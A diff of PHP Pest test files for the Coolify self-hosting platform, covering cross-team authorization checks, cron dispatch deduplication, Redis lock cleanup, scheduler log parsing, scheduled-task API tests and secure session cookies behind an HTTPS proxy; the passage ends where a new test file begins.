expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js');
|
||||
})->with([
|
||||
'default dev compose' => 'docker-compose.dev.yml',
|
||||
'maxio dev compose' => 'docker-compose-maxio.dev.yml',
|
||||
]);
|
||||
|
||||
it('keeps terminal browser logging restricted to Vite development mode', function () {
|
||||
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
|
||||
|
||||
expect($terminalClient)
|
||||
->toContain('const terminalDebugEnabled = import.meta.env.DEV;')
|
||||
->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');")
|
||||
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
|
||||
});
|
||||
|
||||
it('keeps realtime terminal server logging restricted to development environments', function () {
|
||||
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
|
||||
|
||||
expect($terminalServer)
|
||||
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
|
||||
->toContain('if (!terminalDebugEnabled) {')
|
||||
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\ResourceOperations;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
// Team A (attacker's team)
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
$this->applicationA = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
// Team B (victim's team)
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cloneTo rejects destination belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $this->destinationB->id)
|
||||
->assertHasErrors('destination_id');
|
||||
|
||||
// Ensure no cross-tenant application was created
|
||||
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('cloneTo allows destination belonging to own team', function () {
|
||||
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $secondDestination->id)
|
||||
->assertHasNoErrors('destination_id')
|
||||
->assertRedirect();
|
||||
});
|
||||
|
||||
test('moveTo rejects environment belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $this->environmentB->id);
|
||||
|
||||
// Resource should still be in original environment
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
|
||||
});
|
||||
|
||||
test('moveTo allows environment belonging to own team', function () {
|
||||
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $secondEnvironment->id)
|
||||
->assertRedirect();
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy denies update for cross-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy allows update for same-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,168 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('dispatches backup when job runs on time at the cron minute', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed job when cache has a baseline from previous run', function () {
|
||||
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
|
||||
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch on subsequent runs within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires every_minute cron correctly on consecutive minutes', function () {
|
||||
// Minute 1
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 2
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 3
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not fire non-due jobs on restart when cache is empty', function () {
|
||||
// Time is 10:00, cron is daily at 02:00 — NOT due right now
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires due jobs on restart when cache is empty', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not dispatch when cron is not due and was not recently due', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('falls back to isDue when no dedup key is provided', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('catches delayed docker cleanup when job runs past the cron minute', function () {
|
||||
Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at :22, but getPreviousRunDate() = :20
|
||||
// lastDispatched = :10 → :20 > :10 → fires
|
||||
$result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch docker cleanup within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('seeds cache with previousDue when not due on first run', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded with previousDue (02:00 today)
|
||||
$cached = Cache::get('test-seed:1');
|
||||
expect($cached)->not->toBeNull();
|
||||
expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00');
|
||||
});
|
||||
|
||||
it('catches next occurrence after cache was seeded on non-due first run', function () {
|
||||
// Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse();
|
||||
|
||||
// Step 2: Next day at 02:03 — delayed 3 minutes past cron.
|
||||
// previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('cache survives 29 days with static 30-day TTL', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static');
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
|
||||
// 29 days later — cache (30-day TTL) should still exist
|
||||
Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC'));
|
||||
expect(Cache::get('test-ttl:static'))->not->toBeNull();
|
||||
});
|
||||
|
||||
it('respects server timezone for cron evaluation', function () {
|
||||
// UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC'));
|
||||
|
||||
Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue();
|
||||
|
||||
// Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire
|
||||
expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('passes explicit execution time instead of using Carbon::now()', function () {
|
||||
// Real "now" is irrelevant — we pass an explicit execution time
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC'));
|
||||
|
||||
$executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime);
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Support\Facades\Redis;
|
||||
|
||||
it('clears stale lock when TTL is -1', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'stale-owner');
|
||||
|
||||
expect($redis->ttl($lockKey))->toBe(-1);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(0);
|
||||
});
|
||||
|
||||
it('preserves valid lock with positive TTL', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'active-owner');
|
||||
$redis->expire($lockKey, 60);
|
||||
|
||||
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(1);
|
||||
|
||||
$redis->del($lockKey);
|
||||
});
|
||||
|
||||
it('does not fail when no lock exists', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
Redis::connection('default')->del($lockKey);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$middleware = $job->middleware();
|
||||
|
||||
expect($middleware)->toBeArray()->toHaveCount(1);
|
||||
});
|
||||
@@ -173,6 +173,42 @@ test('scheduler log parser parses skip entries correctly', function () {
|
||||
@unlink($logPath);
|
||||
});
|
||||
|
||||
test('scheduler log parser excludes started events from runs', function () {
|
||||
$logPath = storage_path('logs/scheduled-test-started-filter.log');
|
||||
$logDir = dirname($logPath);
|
||||
if (! is_dir($logDir)) {
|
||||
mkdir($logDir, 0755, true);
|
||||
}
|
||||
|
||||
// Temporarily rename existing logs so they don't interfere
|
||||
$existingLogs = glob(storage_path('logs/scheduled-*.log'));
|
||||
$renamed = [];
|
||||
foreach ($existingLogs as $log) {
|
||||
$tmp = $log.'.bak';
|
||||
rename($log, $tmp);
|
||||
$renamed[$tmp] = $log;
|
||||
}
|
||||
|
||||
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
|
||||
$lines = [
|
||||
'['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}',
|
||||
'['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}',
|
||||
];
|
||||
file_put_contents($logPath, implode("\n", $lines)."\n");
|
||||
|
||||
$parser = new SchedulerLogParser;
|
||||
$runs = $parser->getRecentRuns();
|
||||
|
||||
expect($runs)->toHaveCount(1);
|
||||
expect($runs->first()['message'])->toContain('completed');
|
||||
|
||||
// Cleanup
|
||||
@unlink($logPath);
|
||||
foreach ($renamed as $tmp => $original) {
|
||||
rename($tmp, $original);
|
||||
}
|
||||
});
|
||||
|
||||
test('scheduler log parser filters by team id', function () {
|
||||
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
|
||||
$logDir = dirname($logPath);
|
||||
@@ -198,3 +234,39 @@ test('scheduler log parser filters by team id', function () {
|
||||
// Cleanup
|
||||
@unlink($logPath);
|
||||
});
|
||||
|
||||
test('skipped jobs show fallback when resource is deleted', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
|
||||
$logDir = dirname($logPath);
|
||||
if (! is_dir($logDir)) {
|
||||
mkdir($logDir, 0755, true);
|
||||
}
|
||||
|
||||
// Temporarily rename existing logs so they don't interfere
|
||||
$existingLogs = glob(storage_path('logs/scheduled-*.log'));
|
||||
$renamed = [];
|
||||
foreach ($existingLogs as $log) {
|
||||
$tmp = $log.'.bak';
|
||||
rename($log, $tmp);
|
||||
$renamed[$tmp] = $log;
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}',
|
||||
];
|
||||
file_put_contents($logPath, implode("\n", $lines)."\n");
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->assertStatus(200)
|
||||
->assertSee('my-cron-job')
|
||||
->assertSee('Application not running');
|
||||
|
||||
// Cleanup
|
||||
@unlink($logPath);
|
||||
foreach ($renamed as $tmp => $original) {
|
||||
rename($tmp, $original);
|
||||
}
|
||||
});
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\ScheduledTaskExecution;
|
||||
@@ -15,6 +16,9 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// ApiAllowed middleware requires InstanceSettings with id=0
|
||||
InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
@@ -25,12 +29,14 @@ beforeEach(function () {
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
|
||||
// Server::booted() auto-creates a StandaloneDocker, reuse it
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
// Project::booted() auto-creates a 'production' Environment, reuse it
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->environment = $this->project->environments()->first();
|
||||
});
|
||||
|
||||
function authHeaders($bearerToken): array
|
||||
function scheduledTaskAuthHeaders($bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
@@ -46,7 +52,7 @@ describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
@@ -66,7 +72,7 @@ describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'name' => 'Test Task',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
@@ -75,7 +81,7 @@ describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
});
|
||||
|
||||
test('returns 404 for unknown application uuid', function () {
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks');
|
||||
|
||||
$response->assertStatus(404);
|
||||
@@ -90,7 +96,7 @@ describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Backup',
|
||||
'command' => 'php artisan backup',
|
||||
@@ -116,7 +122,7 @@ describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'command' => 'echo test',
|
||||
'frequency' => '* * * * *',
|
||||
@@ -132,7 +138,7 @@ describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
@@ -150,7 +156,7 @@ describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
@@ -168,7 +174,7 @@ describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () {
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [
|
||||
'name' => 'Test',
|
||||
'command' => 'echo test',
|
||||
@@ -199,7 +205,7 @@ describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', functi
|
||||
'name' => 'Old Name',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [
|
||||
'name' => 'New Name',
|
||||
]);
|
||||
@@ -215,7 +221,7 @@ describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', functi
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [
|
||||
'name' => 'Test',
|
||||
]);
|
||||
@@ -237,7 +243,7 @@ describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', funct
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
@@ -253,7 +259,7 @@ describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', funct
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent");
|
||||
|
||||
$response->assertStatus(404);
|
||||
@@ -279,7 +285,7 @@ describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions
|
||||
'message' => 'OK',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions");
|
||||
|
||||
$response->assertStatus(200);
|
||||
@@ -294,7 +300,7 @@ describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions");
|
||||
|
||||
$response->assertStatus(404);
|
||||
@@ -316,7 +322,7 @@ describe('Service scheduled tasks API', function () {
|
||||
'name' => 'Service Task',
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks");
|
||||
|
||||
$response->assertStatus(200);
|
||||
@@ -332,7 +338,7 @@ describe('Service scheduled tasks API', function () {
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [
|
||||
'name' => 'Service Backup',
|
||||
'command' => 'pg_dump',
|
||||
@@ -356,7 +362,7 @@ describe('Service scheduled tasks API', function () {
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(authHeaders($this->bearerToken))
|
||||
$response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken))
|
||||
->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}");
|
||||
|
||||
$response->assertStatus(200);
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
InstanceSettings::updateOrCreate(['id' => 0], ['fqdn' => null]);
|
||||
// Ensure session.secure starts unconfigured for each test
|
||||
config(['session.secure' => null]);
|
||||
});
|
||||
|
||||
it('sets session.secure to true when request arrives over HTTPS via proxy', function () {
|
||||
$this->get('/login', [
|
||||
'X-Forwarded-Proto' => 'https',
|
||||
'X-Forwarded-For' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
expect(config('session.secure'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not set session.secure for plain HTTP requests', function () {
|
||||
$this->get('/login');
|
||||
|
||||
expect(config('session.secure'))->toBeNull();
|
||||
});
|
||||
|
||||
it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () {
|
||||
config(['session.secure' => false]);
|
||||
|
||||
$this->get('/login', [
|
||||
'X-Forwarded-Proto' => 'https',
|
||||
'X-Forwarded-For' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
// Explicit false must not be overridden — our check is `=== null` only
|
||||
expect(config('session.secure'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not override explicit SESSION_SECURE_COOKIE=true', function () {
|
||||
config(['session.secure' => true]);
|
||||
|
||||
$this->get('/login');
|
||||
|
||||
expect(config('session.secure'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () {
|
||||
$response = $this->get('/login', [
|
||||
'X-Forwarded-Proto' => 'https',
|
||||
'X-Forwarded-For' => '1.2.3.4',
|
||||
]);
|
||||
|
||||
$response->assertSuccessful();
|
||||
|
||||
$cookieName = config('session.cookie');
|
||||
$sessionCookie = collect($response->headers->all('set-cookie'))
|
||||
->first(fn ($c) => str_contains($c, $cookieName));
|
||||
|
||||
expect($sessionCookie)->not->toBeNull()
|
||||
->and(strtolower($sessionCookie))->toContain('; secure');
|
||||
});
|
||||
@@ -0,0 +1,95 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\ServerSetting;
|
